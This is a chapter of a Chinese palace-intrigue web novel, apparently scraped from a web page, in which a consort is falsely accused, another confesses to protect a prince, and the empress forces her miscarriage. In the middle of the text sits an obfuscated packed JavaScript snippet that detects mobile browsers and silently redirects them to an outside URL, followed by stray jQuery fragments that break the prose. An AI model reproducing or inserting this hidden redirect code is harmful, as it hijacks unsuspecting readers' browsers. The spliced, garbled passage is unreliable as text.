31. 自证

作品:《赴迢遥

    亥时两刻,东宫偏门院墙处的青石砖松动,传来阵阵异响。一宫女鬼鬼祟祟徘徊在此处,不停地翻动着那松懈的青石砖。


    沈听遥厉声喊着


    “何人在此!”


    那宫女顿时惊慌逃窜,像是被吓破了胆。墙头那边的人闻声便消失地无影无踪。沈听遥带人将其擒下,巨大的声响吸引了萧启和沈司容的注意。


    东宫侍卫将沈听遥一众人团团围住,烛火照亮沈听遥那张仍然疲惫的脸。


    “原是弟妹啊,不知深夜在本王宫门附近,所谓何事?”


    “刚刚听遥在东宫附近抓到一贼人,不知深夜行至侧门,破墙而入,干得是什么勾当!”


    萧启闻言,转而望向那被擒的宫女,那宫女长得倒是秀色可餐。


    “这哪宫的宫女,竟如此大胆,敢在东宫门口放肆?”


    沈听遥双手控制住那宫女,还不忘回答萧启道


    “这是绣坊的绣娘纸鸢。”


    沈听遥来势汹汹,将此事闹到陛下的耳朵里。深夜…大明宫内仍旧灯火辉煌,陛下眼神锐利如刀,只是一言不发地站立,那压迫感便从四周蔓延开来。


    他眯起双眸,一头雾水瞧着对面的沈听遥和那不知名的宫女。


    “沈听遥,你深夜将朕同大家叫来,就是为了这么一个小小的宫女?”


    面对陛下的逼问,沈听遥从容不迫地走上前低眉道


    “陛下有所不知,这女子能牵连出臣妾的一桩冤事。”


    沈听遥挑着一双厉目凝视着荟贵嫔,荟贵嫔随即点点头以示肯定。


    “这女子名唤纸鸢,是绣坊的绣娘之一。昨日臣妾因荟贵嫔娘娘吉服一事含冤入狱,皆拜她所赐。如今此女深夜在东宫附近逗留,很难不让人怀疑她究竟是谁的人?”


    沈听遥一席话将场内的火药味拉到极致,众人纷纷看向犹如过街老鼠般的二人。沈司容脸上的笑容骤然凝固于此,却吸取教训依旧心平气和地反击着


    “段小夫人此话,是怀疑本宫?”


    沈听遥半带轻笑,故意拖着腔调全然不顾及沈司容所说。


    “臣妾并非信口雌黄,这纸鸢已经不是第一次夜入东宫了。凭她手上砖石摩擦的厚茧便可得知,绣娘最宝贵的便是那双手,如今纸鸢的手虽有刑伤还是不忘向主子通信儿,只怕这手再也拿不起绣花针了!”


    沈听遥咄咄逼人不给其辩驳的机会,而后继续怒言道


    “臣妾知荟贵嫔娘娘不喜艳丽,便特意挑了清新雅致的颜色。只是臣妾以为既是两邦宴会,娘娘若是过于素雅会给北宁人留下话柄。所以…臣妾和云娘便在衣服上动了些心思。”


    她拿起侍卫端着的那件诬陷她的样衣,放在烛光下。


    “这件衣服的款式和纹样确实与臣妾绣制的那件并无差别。此人深知臣妾惯用左手,连针脚走线都模仿得大差不差,可见其倒是个聪明人。”


    沈听遥用手揉搓着那样衣的一角


    “可她最不聪明的地方就是…娘娘这件样衣臣妾用的是上好的水锦蓝。而且,臣妾旧时同云娘商议在丝线上涂上珍珠粉,更能展示其光泽。可出现在大家面前的这件样衣在烛光下,不仅没有光泽,用手触摸倒像是绸纱并非水锦蓝。”


    闻言,纸鸢的眼神飘忽不定,最后落在萧启身上,转而心虚地低下头。而这一切被身旁的沈司容一览无余。


    沈听遥未能察觉出她的异样,只顾着将皇后一党拉下水。皇后自然不能任由她将火引向自己,随即质问道


    “你说用了水锦蓝,本宫和陛下凭何信你?这不过只是你的一面之词罢了。”


    此话一出,正中沈听遥下怀,沈听遥就等着她问出这句话。


    “回皇后,荟贵嫔娘娘是陛下的宠妃,臣妾自然不敢糊弄。所以在绣制样衣的前一天,臣妾去了昭纯宫向荟贵嫔娘娘讨要了水锦蓝。此事荟贵嫔娘娘是知晓的,并非臣妾一面之词。”


    荟贵嫔娘娘闻言,连忙帮衬沈听遥应声道“段小夫人确实向本宫讨要了水锦蓝,说是要给本宫绣一件非比寻常的吉服。谁知竟让贼人钻了空子!”


    陛下见荟贵嫔娘娘发话,对沈听遥这一番说辞信任三分。那纸鸢谋害嫔妃,其罪当诛九族。


    纸鸢一开始的冷静平淡,在听闻“诛九族”这三个字后烟消云散。她不停地磕头认罪,不惜将额头磕到溃烂。


    “不要不要啊陛下。纸鸢承认衣服是纸鸢调包的,可纸鸢绝无谋害荟贵嫔娘娘之心啊,请陛下明鉴!”


    沈听遥趁热打铁,趁乱问出“那你说你是奉谁的命!”


    纸鸢颤抖着握住双拳,紊乱不堪的抽泣声在大殿内回荡。她胆怯地望向萧启,神情恍惚。萧启表面却风平浪静,浑身的玫瑰香气异常熏人,若无其事地从怀中掏出一只步摇,自顾自的拨弄起来。


    纸鸢瞧见那步摇,立即变了脸色,像是下定了某种决心,当即磕头认罪。


    “并无人指使奴婢,是奴婢自己一人为之。奴婢觉得那样衣甚是好看,想带出宫去给妹妹穿。所以伪造了一件一模一样的样衣,将它拿给荟贵嫔娘娘。”


    沈听遥自然不信她那一番说辞


    “那你夜入东宫,又是为了谁?”


    沈听遥犀利地逼问着,纸鸢不知自己该如何解释。此事显然与东宫脱不了干系,即使自己再怎么揽下罪责,也难逃东宫其咎。


    纸鸢一个劲儿地瞥向萧启,然而萧启却未给她半分回应。场面顿时陷入僵局,再这样下去,只怕萧启会暴露。


    沈司容察觉出萧启与纸鸢的异样,双眸紧闭,仿佛已经窥探到自己的结局。


    她毅然起身,声音轻轻颤抖着回应沈听遥。


    “是本宫,是本宫命纸鸢调包样衣,在其中藏针,欲将其嫁祸给你。指使纸鸢的人就是本宫,本宫愿意承担一切罪责。”


    在场众人哗然,沈听遥一脸不可置信地凝视着她。沈听遥深知此事并非她所为,她这又是闹的哪出?


    沈司容强颜欢笑地凝视着萧启惊愕的眼神,她死死咬住下唇,轻轻吸着鼻尖凝滞的酸涩,两行清泪悄然而至。


    我沈司容说过,为了你,我什么都愿意去做。


    皇后见沈司容一人独自承担,便顺势而下,自己便没再参与其中。


    沈听遥微微泛红的眼眶,眼底尽是对她的惋惜,喉咙不自觉地哽咽着


    “你…确定吗?”


    沈司容轻嗤一声


    “段小夫人不就是想知道这幕后之人究竟是谁吗?怎的如今本宫承认了,你倒还质问起本宫来?”


    沈听遥见她态度决绝,便不好再说些什么。


    “既如此,还听陛下发落。”


    沈司容颤颤巍巍地跪在大殿前,桀然一笑着


    “慢着!”


    陛下正欲开口,却被沈司容的一句话给打断。


    “你还有什么好说的?”


    沈司容当即向陛下行叩拜之礼<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018777|178372||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“儿臣并未有说辞,无论您如何罚儿臣,儿臣都欣然接受。只是儿臣腹中的胎儿不能跟儿臣受同样的折磨。儿臣遇喜,身子尚不稳定。纵使儿臣罪该万死,这个还未足月的胎儿总归是无咎的。”


    沈司容声泪俱下地倾诉着,不停用手绢擦拭眼角的泪珠,让人看着着实可怜。


    她牢牢地抓住这根救命稻草。陛下见此情景亦不好问罪,如今沈司容怀有龙裔,终归都是自己的子孙,陛下又怎能下得去手?


    皇后看出了陛下的窘境,便替沈司容说话。


    “既然太子妃有孕在身,便不好体罚,不如这样,陛下让其在佛光阁抄经数遍来减轻自己的罪过。这样妹妹心中平衡,也能确保龙嗣的平安。”


    “如此…甚好!太子妃既有孕不可重罚,但这纸鸢罪不容诛,明日午时行刑不留全尸。”


    陛下冰冷的话语深深刺痛着纸鸢的心,好在没有连累她的家人。她也识趣得没有再哭喊着,欣然接受了她应有的结局。


    沈司容当晚就被拉到佛光阁,佛光阁内多为皇家典籍,经书药传。成千上万卷经书在沈司容面前摊开,借着佛光阁内昏暗的烛光,沈司容自己研墨提笔,一笔一画地撰写着。


    沈司容彻夜未眠,那手被写得酸胀不堪,仍旧不肯停笔。仿佛字字句句都在为腹中的孩子积恩施德。


    卯时一刻,佛光阁的门开了。


    沈司容窥见那不可多得的天光,猛地瞳孔一缩,用衣袖挡住脸。


    届时,她拖着乏累不堪的身体起身。


    “儿臣见过母后。”


    皇后不屑地暼着桌案上工整的经文,冷言道


    “你倒是认真,难为你抄了整宿的经文。有孕之人应当多注意休息。”


    沈司容见皇后关心自己,那一阵困意转头烟消云散。


    “都是儿臣应该做的,是儿臣的罪过。”


    皇后的笑容高深莫测,让人猜不出她的意图。


    “是吗?那不该做的,你也做了。”


    那抹笑容转化成带着利刃的眼神,狠狠地盯着沈司容仿佛要杀了她一般。


    沈司容不明所以,只管低头认罪。


    “儿…儿臣听不懂母后在说什么?”


    皇后用指尖揉捏着紧绷的山根,顿时,佛光阁门外冲出几个宫女,将沈司容擒住。


    “打!”


    皇后轻描淡写的一个字,那几位宫女就像发疯一样,猛锤沈司容的腹部。


    那粗硬的木棍直捅着沈司容的后背的穴道,沈司容只觉得背后一紧,霎那间疼痛蔓延至全身。趁其不备那苦涩难闻的避子药被宫女硬生生灌下,汤药呛进沈司容的鼻腔里,令其难以呼吸。


    沈司容面色一征,眼眸间不禁泛出一丝酸楚。她握紧双拳不停地哽咽着。


    无论沈司容如何哀求,皇后依旧冷眼旁观。


    本就疲惫不堪的沈司容最后放弃了挣扎,衣衫不整地被宫女扔到佛光阁的布垫子上。阴血浸透经文,她悲悯的看向那被血染红的手。


    她知道孩子保不住了。


    她瘫软在垫席上,双眸间黯然失色,似乎这个世界上没什么可以让她留恋的。


    皇后依旧以上位者的姿态,傲慢的蔑视着她


    “你最不该的,就是留下带有沈家血脉的孩子!”


    沈司容闻言,垂下那带有血迹的手,吞咽着不甘与悲痛。皇后离去后,她痛彻心扉地大哭


    “孩子!我的孩子…”